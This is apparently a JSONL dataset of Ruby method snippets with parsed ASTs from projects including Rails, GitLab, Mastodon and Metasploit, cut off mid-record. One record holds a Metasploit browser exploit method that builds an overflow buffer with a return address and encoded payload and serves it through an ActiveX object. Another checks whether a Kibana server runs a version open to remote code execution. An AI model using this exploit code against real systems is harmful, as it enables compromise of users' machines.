{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/or_filter_for_wp_mixin.rb","start_line":65,"raw_source":"def update_instances\n    configurations = filter_configurations\n\n    @filters.each_with_index do |filter, index|\n      filter.operator = configurations[index].operator\n      filter.values = values\n    end\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_instances\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"configurations\",{\"type\":\"send\",\"children\":[null,\"filter_configurations\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"operator=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configurations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},\"operator\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"values=\",{\"type\":\"send\",\"children\":[null,\"values\"]}]}]}]}]}]}","id":"c9d503b1-da51-44f1-a029-d3719f36c515"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/notification.rb","start_line":397,"raw_source":"def refresh_notification_count\n    User.find_by(id: user_id)&.publish_notifications_state if user_id\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_notification_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"user_id\"]}]}]}]},\"publish_notifications_state\"]},null]}]}","id":"f2b16d4a-ea30-4a80-a462-c7bc4b4c81eb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_account_service.rb","start_line":197,"raw_source":"def check_links!\n    VerifyAccountLinksWorker.perform_in(rand(10.minutes.to_i), @account.id)\n  end","complexity_score":6.85,"ast_json":"{\"type\":\"def\",\"children\":[\"check_links!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VerifyAccountLinksWorker\"]},\"perform_in\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"minutes\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]}]}]}","id":"99e9e0ef-e7d7-497f-9469-7305b88e674e"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/migration_generator_test.rb","start_line":469,"raw_source":"def test_add_migration_with_required_attributes\n    migration = \"add_title_body_to_posts\"\n    run_generator [migration, \"title:string!\", \"body:text!\"]\n\n    assert_migration \"db/migrate/#{migration}.rb\" do |content|\n      assert_method :change, content do |change|\n        assert_match(/add_column :posts, :title, :string, null: false/, change)\n        assert_match(/add_column :posts, :body, :text, null: false/, change)\n      end\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_migration_with_required_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"str\",\"children\":[\"add_title_body_to_posts\"]}]},{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},{\"type\":\"str\",\"children\":[\"title:string!\"]},{\"type\":\"str\",\"children\":[\"body:text!\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_migration\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"db/migrate/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_method\",{\"type\":\"sym\",\"children\":[\"change\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"add_column :posts, :title, :string, null: false\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"add_column :posts, :body, :text, null: false\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}]}]}]}]}","id":"d82812d2-f708-4fdb-89ed-db45c82ee317"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/mistral/capabilities.rb","start_line":84,"raw_source":"def capabilities_for(model_id) # rubocop:disable Metrics/PerceivedComplexity\n          case model_id\n          when /moderation/ then ['moderation']\n          when /voxtral.*transcribe/ then ['transcription']\n          when /ocr/ then ['vision']\n          else\n            capabilities = []\n            capabilities << 'streaming' if supports_streaming?(model_id)\n            capabilities << 'function_calling' if supports_tools?(model_id)\n            capabilities << 'structured_output' if supports_json_mode?(model_id)\n            capabilities << 'vision' if supports_vision?(model_id)\n\n            capabilities << 'reasoning' if model_id.match?(/magistral/)\n            capabilities << 'batch' unless model_id.match?(/voxtral|ocr|embed|moderation/)\n            capabilities << 'fine_tuning' if model_id.match?(/mistral-(small|medium|large)|devstral/)\n            capabilities << 'distillation' if model_id.match?(/ministral/)\n            capabilities << 'predicted_outputs' if model_id.match?(/codestral/)\n\n            capabilities.uniq\n          end\n        end","complexity_score":40.0,"ast_json":"{\"type\":\"def\",\"children\":[\"capabilities_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"moderation\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"moderation\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"voxtral.*transcribe\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"transcription\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ocr\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"vision\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"capabilities\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_streaming?\",{\"type\":\"lvar\",\"children\":[\"model_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"<<\",{\"type\":\"str\",\"children\":[\"streaming\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_tools?\",{\"type\":\"lvar\",\"children\":[\"model_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"<<\",{\"type\":\"str\",\"children\":[\"function_calling\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_json_mode?\",{\"type\":\"lvar\",\"children\":[\"model_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"<<\",{\"type\":\"str\",\"children\":[\"structured_output\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_vision?\",{\"type\":\"lvar\",\"children\":[\"model_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"<<\",{\"type\":\"str\",\"children\":[\"vision\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"magistral\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"<<\",{\"type\":\"str\",\"children\":[\"reasoning\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"voxtral|ocr|embed|moderation\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"<<\",{\"type\":\"str\",\"children\":[\"batch\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mistral-(small|medium|large)|devstral\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"<<\",{\"type\":\"str\",\"children\":[\"fine_tuning\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ministral\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"<<\",{\"type\":\"str\",\"children\":[\"distillation\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"codestral\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"<<\",{\"type\":\"str\",\"children\":[\"predicted_outputs\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"uniq\"]}]}]}]}","id":"5f40e646-16ab-4fc9-8e47-4021904c40b9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb","start_line":298,"raw_source":"def check\n    if target == targets[0] # elastic\n      return CheckCode::Unknown('Unable to determine Kibana version from Elastic database')\n    end\n\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),\n      'method' => 'GET',\n      'keep_cookies' => true\n    )\n    return CheckCode::Unknown(\"#{peer} - Could not connect to web service - no response\") if res.nil?\n    return CheckCode::Unknown(\"#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}\") unless res.code == 200\n\n    # this pulls a big JSON blob that we need as it has the version\n    unless %r{<kbn-injected-metadata data=\"([^\"]+)\"></kbn-injected-metadata>} =~ res.body\n      return Exploit::CheckCode::Safe(\"#{peer} - Unexpected response, unable to determine version\")\n    end\n\n    version_json = CGI.unescapeHTML(Regexp.last_match(1))\n\n    begin\n      json_body = JSON.parse(version_json)\n    rescue JSON::ParserError\n      return Exploit::CheckCode::Safe(\"#{peer} - Unexpected response, unable to determine version\")\n    end\n\n    return Exploit::CheckCode::Safe(\"#{peer} - Unexpected response, unable to determine version\") if json_body['version'].nil?\n\n    @version = json_body['version']\n\n    if Rex::Version.new(@version) < Rex::Version.new('7.6.3')\n      return CheckCode::Appears(\"Exploitable Version Detected: #{@version}\")\n    end\n\n    CheckCode::Safe(\"Unexploitable Version Detected: #{@version}\")\n  end","complexity_score":52.35,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Unable to determine Kibana version from Elastic database\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"app\"]},{\"type\":\"str\",\"children\":[\"kibana\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Check URI Path, unexpected HTTP response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<kbn-injected-metadata data=\\\"([^\\\"]+)\\\"></kbn-injected-metadata>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unexpected response, unable to determine version\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version_json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"version_json\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unexpected response, unable to determine version\"]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unexpected response, unable to determine version\"]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@version\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"7.6.3\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exploitable Version Detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexploitable Version Detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]}]}]}]}]}]}","id":"a0fba62a-8e8f-4559-999b-119723a59dd8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/components/boards/add_button_component.rb","start_line":34,"raw_source":"def render?\n      if current_project\n        User.current.allowed_in_project?(:manage_board_views, current_project)\n      else\n        User.current.allowed_in_any_project?(:manage_board_views)\n      end\n    end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"manage_board_views\"]},{\"type\":\"send\",\"children\":[null,\"current_project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_any_project?\",{\"type\":\"sym\",\"children\":[\"manage_board_views\"]}]}]}]}","id":"d9521196-2124-4d36-a062-28e80e78ced1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb","start_line":55,"raw_source":"def on_request_uri(cli, request)\n    # Re-generate the payload\n    return if ((p = regenerate_payload(cli)) == nil)\n\n    # Randomize\n    vname = rand_text_alpha(rand(100) + 1)\n\n    # Build the exploit buffer\n    sploit = rand_text_alpha(2200)\n    sploit[220, 4] = [target['Ret']].pack('V')\n    sploit[240, payload.encoded.length] = payload.encoded\n\n    # Build out the message\n    content = %Q|\n      <html>\n      <object classid=\"CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B\" id=\"#{vname}\">\n      <PARAM NAME=\"ProductName\" VALUE=\"#{sploit}\">\n      </object>\n      <script language=\"javascript\">\n      #{vname}.startSession();\n      </script>\n      </html>\n      |\n\n    print_status(\"Sending #{self.name}\")\n\n    # Transmit the response to the client\n    send_response_html(cli, content)\n\n    # Handle the payload\n    handler(cli)\n  end","complexity_score":29.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"vname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[2200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"[]=\",{\"type\":\"int\",\"children\":[220]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Ret\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"[]=\",{\"type\":\"int\",\"children\":[240]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      <html>\\n\"]},{\"type\":\"str\",\"children\":[\"      <object classid=\\\"CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B\\\" id=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"      <PARAM NAME=\\\"ProductName\\\" VALUE=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"      </object>\\n\"]},{\"type\":\"str\",\"children\":[\"      <script language=\\\"javascript\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\".startSession();\\n\"]},{\"type\":\"str\",\"children\":[\"      </script>\\n\"]},{\"type\":\"str\",\"children\":[\"      </html>\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"dc010090-71e0-40e4-9b86-14ed75925718"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/merge_requests/handle_assignees_change_service_spec.rb","start_line":44,"raw_source":"def execute\n      service.execute(merge_request, old_assignees, options)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"execute\",{\"type\":\"send\",\"children\":[null,\"merge_request\"]},{\"type\":\"send\",\"children\":[null,\"old_assignees\"]},{\"type\":\"send\",\"children\":[null,\"options\"]}]}]}","id":"f40a3e12-340c-4053-9c6a-8b4540495948"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":2158,"raw_source":"def test_form_with_and_fields\n    form_with(model: @post, scope: :post, id: \"create-post\") do |post_form|\n      concat post_form.text_field(:title)\n      concat post_form.textarea(:body)\n\n      concat fields(:parent_post, model: @post) { |parent_fields|\n        concat parent_fields.checkbox(:secret)\n      }\n    end\n\n    expected = whole_form(\"/posts/123\", \"create-post\", method: \"patch\") do\n      \"<input name='post[title]' type='text' value='Hello World' id='post_title' />\" \\\n      \"<textarea name='post[body]' id='post_body' >\\nBack to the hill and over it again!</textarea>\" \\\n      \"<input name='parent_post[secret]' type='hidden' value='0' autocomplete='off' />\" \\\n      \"<input name='parent_post[secret]' checked='checked' type='checkbox' value='1' id='parent_post_secret' />\"\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_with_and_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"create-post\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post_form\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_form\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_form\"]},\"textarea\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields\",{\"type\":\"sym\",\"children\":[\"parent_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_fields\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_fields\"]},\"checkbox\",{\"type\":\"sym\",\"children\":[\"secret\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"str\",\"children\":[\"create-post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input name='post[title]' type='text' value='Hello World' id='post_title' />\"]},{\"type\":\"str\",\"children\":[\"<textarea name='post[body]' id='post_body' 